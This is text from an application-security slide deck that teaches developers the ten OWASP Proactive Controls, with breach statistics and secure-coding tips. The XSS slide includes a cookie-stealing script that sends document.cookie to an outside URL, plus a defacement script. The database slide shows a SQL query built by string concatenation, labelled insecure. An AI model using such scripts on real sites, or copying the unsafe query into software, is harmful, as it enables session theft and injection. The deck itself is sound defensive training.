The ten things I wish every developer knew about #AppSec: The OWASP Proactive Controls

Chris Romeo, CEO, Security JourneyCopyright © Security Journey

• CEO / Co-Founder @ Security Journey

• 22 years in the security world, CISSP, CSSLP

• Co-host of the:

• Co-Lead of the OWASP Triangle Chapter

About Chris Romeo

@edgeroute

@AppSecPodcast

Copyright © Security Journey

Agenda

• The state and size of the application security problem

• The ten things every developer must know• Questions

State and size of the problem

( Apps) x ( Attackers) x ( Secure coding)

The reality of software security in 2019

1 in 4

49%

85%

of apps are found to contain at least one highly exploitable cross site scripting

vulnerability.

vulnerabilities remain open over a year after

first discovery.

of apps have at least one vulnerability in

them.

Source: Veracode State of Software Security Volume 9

The cost of a security issue

Source: IBM Cost of Data Breach Study, 2018

Financial services is leading the pack

CAST analyzed 278 million lines of code from 1,388 applications and found 1.3 million CWE weaknesses in code developed under .NET and Java EE…. with .NET code generally having a greater density of weaknesses than Java EE -- in some cases with more than 35 CWE weaknesses per KLOC (1000 lines of code)

A1:2017-InjectionA2:2017-Broken Authentication A3:2017-Sensitive Data ExposureA4:2017-XML External Entities (XXE)A5:2017-Broken Access ControlA6:2017-Security MisconfigurationA7:2017-Cross-Site Scripting (XSS)A8:2017-Insecure DeserializationA9:2017-Using Components with Known VulnerabilitiesA10:2017-Insufficient Logging & Monitoring

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

OWASP Proactive Controls

C1 Define Security

Requirements

C2 Leverage Security

Frameworks and Libraries

C3 Secure Database Access

C4 Encode and Escape Data

C5 Validate All Inputs

C6 Implement Digital Identity

C7 Enforce Access Control

C8 Protect Data Everywhere

C9 Implement Security Logging and Monitoring

C10 Handle All Errors and Exceptions

The mapping

OWASP Top 10 - 2017A1:2017-Injection

A2:2017-Broken Authentication

A3:2017-Sensitive Data Exposure

A4:2017-XML External Entities (XXE)

A5:2017-Broken Access Control

A6:2017-Security Misconfiguration

A7:2017-Cross-Site Scripting (XSS)

A8:2017-Insecure Deserialization

A9:2017-Using Components with Known Vulnerabilities

A10:2017-Insufficient Logging & Monitoring

C1 Define Security Requirements

C2 Leverage Security Frameworks and Libraries

C3 Secure Database Access

C4 Encode and Escape Data

C5 Validate All Inputs

C6 Implement Digital Identity

C7 Enforce Access Control

C8 Protect Data Everywhere

C9 Implement Security Logging and Monitoring

C10 Handle All Errors and Exceptions

OWASP Proactive Controls is security information written for developers, by developers.

Why should you care?

Define Security Requirements Shift security left

C1

The usefulness of security requirements

Guidance / best practice

Metrics Procurement vehicle

Requirements

• Application Security Verification Standard (ASVS)• 2.19, Verify there are no default passwords in use for the application

framework or any components used by the application (such as “admin/password”).

• 4.1, Verify that the principle of least privilege exists - users should only be able to access functions, data files, URLs, controllers, services, and other resources, for which they possess specific authorization. This implies protection against spoofing and elevation of privilege.

User stories and misuse cases

User story

As a user, I can enter my username and password to gain access to the application.

As a user, I can enter a long password that has a maximum of 1023 characters.

User story Misuse story

As an attacker, I can enter in a default username and password to gain access.

Four steps to successful use of security requirements

Discover/Select

Confirm correctness Implement

Document1 2

4 3

Leverage security frameworks and libraries (and keep them updated)

Secure, reusable, and up to date components prevent

vulnerability to third-party issues.

C2

Leverage security frameworks and libraries

Do not reinvent the wheel

Use native, secure framework

features

Stay up to date!

Best practices for libraries and frameworks

■ Only use trusted, actively maintained, widely used sources.

■ Inventory all third-party libraries. ■ Proactively keep libraries and

components up to date.

■ Encapsulate libraries and expose only the required behaviour into your software.

Secure Database Access

preventsSQL Injection

C3

SQL InjectionINSECURE CODE

String newName = request.getParameter("newName");String id = request.getParameter("id");String query = " UPDATE EMPLOYEES SET NAME="+ newName + " WHERE ID ="+ id;Statement stmt = connection.createStatement();

//SQLPreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);//HQLQuery safeHQLQuery = session.createQuery("from Employees where id=:empId"); safeHQLQuery.setParameter("empId", id);

SECURE CODE

Secure database overview

Secure all the things

QUERIES AUTHENTICATION

COMMUNICATION CONFIGURATION

Mitigations

• Perform proper input validation• Use a safe API• Contextually escape user data• Prepared statements with

parameterized queries

Encode and escape all output prevents XSS

< &lt;

C4

Anatomy of an XSS attack

Attack 1 : cookie theft

Attack 2 : Web site defacement

<script>var badURL='https://securityjourney.com/somesite/data=' + document.cookie;var img = new Image();img.src = badURL;</script>

<script>document.body.innerHTML='<blink>GO BAD PEOPLE</blink>’;</script>

Contextual output encoding

Basic HTML ContextHTML Content ContextHTML Attribute contextCSS contextsJavaScript Block contextJavaScript Variable contextEncode URL parameter valuesEncode REST URL parameters

OWASP Java Encoder Project

HTML ContextsEncode#forHtmlEncode#forHtmlContentEncode#forHtmlAttributeEncode#forHtmlUnquotedAttribute

XML ContextsEncode#forXmlEncode#forXmlContentEncode#forXmlAttributeEncode#forXmlCommentEncode#forCDATA

Javascript ContextsEncode#forJavaScriptEncode#forJavaScriptAttributeEncode#forJavaScriptBlockEncode#forJavaScriptSource

CSS ContextsEncode#forCssStringEncode#forCssUrl

URI/URL ContextsEncode#forUriEncode#forUriComponent

Validate all inputs preventsXSS and Injection

C5

Syntactical validity -> the data is in the expected form.

Select a four-digit “account ID”.Application must check that the user data is EXACTLY four digits in length, and consists only of numbers .

Semantic validity -> the data is within an acceptable range.

With a date range, a start date must be before the end date.

Syntactical and semantic validity

The good and the bad

Black listingWhite listing Server side Client side

Libs and frameworks

■ Java– http://hibernate.org/validator/ – http://beanvalidation.org/

■ PHP’s filter functions– https://secure.php.net/manual/en/filter.examples.validation.php

■ Ruby on Rails– http://edgeapi.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html

■ JavaScript– https://github.com/cure53/DOMPurify

Implement Digital Identity

prevents broken authentication

C6

Authentication data

Memorized Secrets

One-TimePasswords

Biometrics

Recovery keys

Cryptographic key

Factors of authentication

SOMETHING YOU KNOW

SOMETHING YOU HAVE

SOMETHING YOU ARE

Single

Two

Multi

Enforce Access Control

prevents broken access control

C7

Design principles for access control

1234567

Design thoroughly up front

Force all requests through access control checks

Deny by default

Follow principle of least privilege

Do not hardcode roles

Log all access control events

Eliminate development/debug backdoors in production code

Access control caution

Caution• Good access control is hard to add to an

application late in the lifecycle. Work hard to get this right up front early on.

Verify• Turnkey security tools cannot verify access control

since tools are not aware of your applications policy. Be prepared to do security unit testing and manual review for access control verification.

Protect Data Everywhere Encryption

C8

Encryption Caution

Caution• Protecting sensitive data at rest and in transit is

painfully tough to build and maintain, especially for intranet infrastructure.

• Commit to long term plans to continually improve. • Consider enterprise class solutions.

Verify• Bring in heavy-weight resources to verify your

cryptographic implementations, especially at rest.

TIP TIP TIP

Key lifecycle tips

Protect secret keys from

unauthorized access.

Store keys in a proper secrets

vault.

Use independent

keys when multiple keys are required.

1 2 3

TIP TIP TIP

Key lifecycle tips

Build support for changing

algorithms and keys when needed.

Build application features to handle key rotation.

4

4 5

Application secret management

• Don’t store secrets in code, config files or pass them through environment variables.

• Use tools like GitRob or TruffleHog to scan code repos for secrets.

• Keep keys and your other application-level secrets in a secrets vault like KeyWhiz, Hashicorp’s Vault project, or Amazon KMS to provide secure storage and access to application-level secrets at run-time.

Implement Security Logging and Monitoring

Mandatory for conclusive forensic investigation

C9

Tips for proper application security logging

Follow a common logging format.

Keep timestamps consistent through

time sync.

Always log the timestamp and

identifying information.

Do not log private or confidential data.

Secure logging design

Encode and validate any dangerous characters before logging to prevent log injection or log forging attacks.

Protect log integrity – consider the permission of log files and log changes audit.

Forward logs from distributed systems to a central, secure logging service for centralized monitoring.

Handle all errors and exceptions Stable applications.

C10

TIP TIP TIP

Best practices for errors and exceptions

Manage exceptions in a

centralized manner.

Avoid duplicated try/catch blocks in

the code.

Ensure that all unexpected

behaviors are correctly handled

inside the application.

1 2 3

TIP TIP TIP

Best practices

Do not leak critical data in error

messages, but provide verbose enough info to

explain the issue.

Ensure that exceptions have

enough information to

assist Q/A, forensics or

incident response teams.

Use the RESTful mechanism of standard HTTP response codes

for errors.

4 5 6

Security concerns for exceptions

• Ensure the application fails securely under all circumstances, both expected and not expected

• Use a centralized error strategy to reduce points of failure and promote consistency

• Log when exceptions are thrown and include sufficient detail for security auditing

Sources for additional study

The 5th annual report on global

open source software development

2019

Stateof the

SoftwareSupply

Chain

in partnership withpresented by

Key Takeaways

1. Recognize the size of the problem.

2. Teach developers the proactive controls and embed them in your software development approach.

C1 Define Security Requirements

C2 Leverage Security Frameworks and Libraries

C3 Secure Database Access

C4 Encode and Escape Data

C5 Validate All Inputs

C6 Implement Digital Identity

C7 Enforce Access Control

C8 Protect Data Everywhere

C9 Implement Security Logging and Monitoring

C10 Handle All Errors and Exceptions

Copyright © 2019 Security Journey

How to engage with Security Journey

1. Free trial of the Security Belt Program

https://app.securityjourney.com2. Contact Chris

chris_romeo@securityjourney.com@edgeroute

3. https://www.securityjourney.com/hi5

Copyright © 2019 Security Journey

Resources

• OWASP Top 10 Project• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

• OWASP Java Encoder• https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

• OWASP Proactive Controls• https://www.owasp.org/index.php/OWASP_Proactive_Controls